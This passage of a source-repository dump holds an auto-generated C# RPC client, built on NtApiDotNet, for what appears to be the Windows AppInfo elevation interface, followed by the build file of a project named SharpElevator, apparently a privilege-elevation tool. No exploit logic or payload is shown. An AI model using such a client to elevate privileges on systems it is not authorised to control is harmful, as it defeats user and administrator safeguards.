88 | Member8 = u.ReadInt32(); 89 | MemberC = u.ReadInt32(); 90 | Member10 = u.ReadInt32(); 91 | Member14 = u.ReadInt32(); 92 | Member18 = u.ReadInt32(); 93 | Member1C = u.ReadInt32(); 94 | Member20 = u.ReadInt32(); 95 | Member24 = u.ReadInt32(); 96 | Member28 = u.ReadInt16(); 97 | Member2C = u.Read_1(); 98 | } 99 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 100 | { 101 | return 4; 102 | } 103 | public NtApiDotNet.Ndr.Marshal.NdrEmbeddedPointer Member0; 104 | public int Member8; 105 | public int MemberC; 106 | public int Member10; 107 | public int Member14; 108 | public int Member18; 109 | public int Member1C; 110 | public int Member20; 111 | public int Member24; 112 | public short Member28; 113 | public Struct_1 Member2C; 114 | public static Struct_0 CreateDefault() 115 | { 116 | return new Struct_0(); 117 | } 118 | public Struct_0(string Member0, int Member8, int MemberC, int Member10, int Member14, int Member18, int Member1C, int Member20, int Member24, short Member28, Struct_1 Member2C) 119 | { 120 | this.Member0 = Member0; 121 | this.Member8 = Member8; 122 | this.MemberC = MemberC; 123 | this.Member10 = Member10; 124 | this.Member14 = Member14; 125 | this.Member18 = Member18; 126 | this.Member1C = Member1C; 127 | this.Member20 = Member20; 128 | this.Member24 = Member24; 129 | this.Member28 = Member28; 130 | this.Member2C = Member2C; 131 | } 132 | } 133 | public struct Struct_1 : NtApiDotNet.Ndr.Marshal.INdrStructure 134 | { 135 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 136 | { 137 | Marshal(((_Marshal_Helper)(m))); 138 | } 139 | private void Marshal(_Marshal_Helper m) 140 | { 141 | m.WriteInt32(Member0); 142 | m.WriteInt32(Member4); 143 | } 144 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 145 | { 146 | Unmarshal(((_Unmarshal_Helper)(u))); 147 | } 148 | private void Unmarshal(_Unmarshal_Helper u) 149 | { 150 | Member0 = u.ReadInt32(); 151 | Member4 = u.ReadInt32(); 152 | } 153 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 154 | { 155 | return 4; 156 | } 157 | public int Member0; 158 | public int Member4; 159 | public static Struct_1 CreateDefault() 160 | { 161 | return new Struct_1(); 162 | } 163 | public Struct_1(int Member0, int Member4) 164 | { 165 | this.Member0 = Member0; 166 | this.Member4 = Member4; 167 | } 168 | } 169 | public struct Struct_2 : NtApiDotNet.Ndr.Marshal.INdrStructure 170 | { 171 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 172 | { 173 | Marshal(((_Marshal_Helper)(m))); 174 | } 175 | private void Marshal(_Marshal_Helper m) 176 | { 177 | m.WriteUInt3264(Member0); 178 | m.WriteUInt3264(Member8); 179 | m.WriteInt32(Member10); 180 | m.WriteInt32(Member14); 181 | } 182 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 183 | { 184 | Unmarshal(((_Unmarshal_Helper)(u))); 185 | } 186 | private void Unmarshal(_Unmarshal_Helper u) 187 | { 188 | Member0 = u.ReadUInt3264(); 189 | Member8 = u.ReadUInt3264(); 190 | Member10 = u.ReadInt32(); 191 | Member14 = u.ReadInt32(); 192 | } 193 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 194 | { 195 | return 4; 196 | } 197 | public NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member0; 198 | public NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member8; 199 | public int Member10; 200 | public int Member14; 201 | public static Struct_2 CreateDefault() 202 | { 203 | return new Struct_2(); 204 | } 205 | public Struct_2(NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member0, NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member8, int Member10, int Member14) 206 | { 207 | this.Member0 = Member0; 208 | this.Member8 = Member8; 209 | this.Member10 = Member10; 210 | this.Member14 = Member14; 211 | } 212 | } 213 | #endregion 214 | #region Client Implementation 215 | public sealed class Client : NtApiDotNet.Win32.Rpc.RpcClientBase 216 | { 217 | public Client() : 218 | base("201ef99a-7fa0-444c-9399-19ba84f12a1a", 1, 0) 219 | { 220 | } 221 | private _Unmarshal_Helper SendReceive(int p, _Marshal_Helper m) 222 | { 223 | return new _Unmarshal_Helper(SendReceive(p, m.DataRepresentation, m.ToArray(), m.Handles)); 224 | } 225 | // async 226 | public int AiEnableDesktopRpcInterface(string p0, string p1, int p2, int p3, string p4, string p5, Struct_0 p6, NtApiDotNet.Ndr.Marshal.NdrUInt3264 p7, int p8, out Struct_2 p9, out int p10) 227 | { 228 | _Marshal_Helper m = new _Marshal_Helper(); 229 | m.WriteReferent(p0, new System.Action(m.WriteTerminatedString)); 230 | m.WriteReferent(p1, new System.Action(m.WriteTerminatedString)); 231 | m.WriteInt32(p2); 232 | m.WriteInt32(p3); 233 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p4, "p4")); 234 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p5, "p5")); 235 | m.Write_0(p6); 236 | m.WriteUInt3264(p7); 237 | m.WriteInt32(p8); 238 | _Unmarshal_Helper u = SendReceive(0, m); 239 | p9 = u.Read_2(); 240 | p10 = u.ReadInt32(); 241 | return u.ReadInt32(); 242 | } 243 | public int AiEnableDesktopRpcInterface_1(string p0, out Struct_2 p1) 244 | { 245 | _Marshal_Helper m = new _Marshal_Helper(); 246 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p0, "p0")); 247 | _Unmarshal_Helper u = SendReceive(1, m); 248 | p1 = u.Read_2(); 249 | return u.ReadInt32(); 250 | } 251 | // async 252 | public int AiEnableDesktopRpcInterface_2(int p0, string p1, NtApiDotNet.Ndr.Marshal.NdrUInt3264 p2) 253 | { 254 | _Marshal_Helper m = new _Marshal_Helper(); 255 | m.WriteInt32(p0); 256 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p1, "p1")); 257 | m.WriteUInt3264(p2); 258 | _Unmarshal_Helper u = SendReceive(2, m); 259 | return u.ReadInt32(); 260 | } 261 | public int AiEnableDesktopRpcInterface_3() 262 | { 263 | _Marshal_Helper m = new _Marshal_Helper(); 264 | _Unmarshal_Helper u = SendReceive(3, m); 265 | return u.ReadInt32(); 266 | } 267 | public int AiEnableDesktopRpcInterface_4(int p0) 268 | { 269 | _Marshal_Helper m = new _Marshal_Helper(); 270 | m.WriteInt32(p0); 271 | _Unmarshal_Helper u = SendReceive(4, m); 272 | return u.ReadInt32(); 273 | } 274 | public int AiEnableDesktopRpcInterface_5(int p0) 275 | { 276 | _Marshal_Helper m = new _Marshal_Helper(); 277 | m.WriteInt32(p0); 278 | _Unmarshal_Helper u = SendReceive(5, m); 279 | return u.ReadInt32(); 280 | } 281 | // async 282 | public int AiEnableDesktopRpcInterface_6(NtApiDotNet.Ndr.Marshal.NdrUInt3264 p0, int p1, int p2, int p3, string p4, System.Guid p5, string p6, string p7, string p8, string p9, int p10) 283 | { 284 | _Marshal_Helper m = new _Marshal_Helper(); 285 | m.WriteUInt3264(p0); 286 | m.WriteInt32(p1); 287 | m.WriteInt32(p2); 288 | m.WriteInt32(p3); 289 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p4, "p4")); 290 | m.WriteGuid(p5); 291 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p6, "p6")); 292 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p7, "p7")); 293 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p8, "p8")); 294 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p9, "p9")); 295 | m.WriteInt32(p10); 296 | _Unmarshal_Helper u = SendReceive(6, m); 297 | return u.ReadInt32(); 298 | } 299 | } 300 | #endregion 301 | } 302 | 303 | -------------------------------------------------------------------------------- /SharpElevator/SharpElevator.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {42BDEFC0-0BAE-43DF-97BB-C805ABFBD078} 9 | Exe 10 | SharpElevator 11 | SharpElevator 12 | v4.7.2 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | 38 | 39 | 40 | ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll 41 | 42 | 43 | ..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll 44 | True 45 | True 46 | 47 | 48 | ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll 49 | 50 | 51 | 52 | ..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll 53 | True 54 | True 55 | 56 | 57 | 58 | ..\packages\System.Console.4.3.0\lib\net46\System.Console.dll 59 | True 60 | True 61 | 62 | 63 | 64 | ..\packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll 65 | 66 | 67 | ..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll 68 | True 69 | True 70 | 71 | 72 | 73 | ..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll 74 | True 75 | True 76 | 77 | 78 | ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll 79 | True 80 | True 81 | 82 | 83 | ..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll 84 | True 85 | True 86 | 87 | 88 | 89 | ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll 90 | True 91 | True 92 | 93 | 94 | ..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll 95 | True 96 | True 97 | 98 | 99 | ..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll 100 | True 101 | True 102 | 103 | 104 | ..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll 105 | True 106 | True 107 | 108 | 109 | ..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll 110 | True 111 | True 112 | 113 | 114 | ..\packages\System.Net.Http.4.3.0\lib\net46\System.Net.Http.dll 115 | True 116 | True 117 | 118 | 119 | ..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll 120 | True 121 | True 122 | 123 | 124 | 125 | ..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll 126 | True 127 | True 128 | 129 | 130 | ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll 131 | True 132 | True 133 | 134 | 135 | ..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll 136 | True 137 | True 138 | 139 | 140 | ..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll 141 | True 142 | True 143 | 144 | 145 | ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll 146 | True 147 | True 148 | 149 | 150 | 151 | ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll 152 | True 153 | True 154 | 155 | 156 | ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll 157 | True 158 | True 159 | 160 | 161 | ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll 162 | True 163 | True 164 | 165 | 166 | ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 167 | True 168 | True 169 | 170 | 171 | 172 | ..\packages\System.Text.RegularExpressions.4.3.0\lib\net463\System.Text.RegularExpressions.dll 173 | True 174 | True 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | ..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll 183 | True 184 | True 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 201 | 202 | 203 | 204 | 205 | 206 | 207 | --------------------------------------------------------------------------------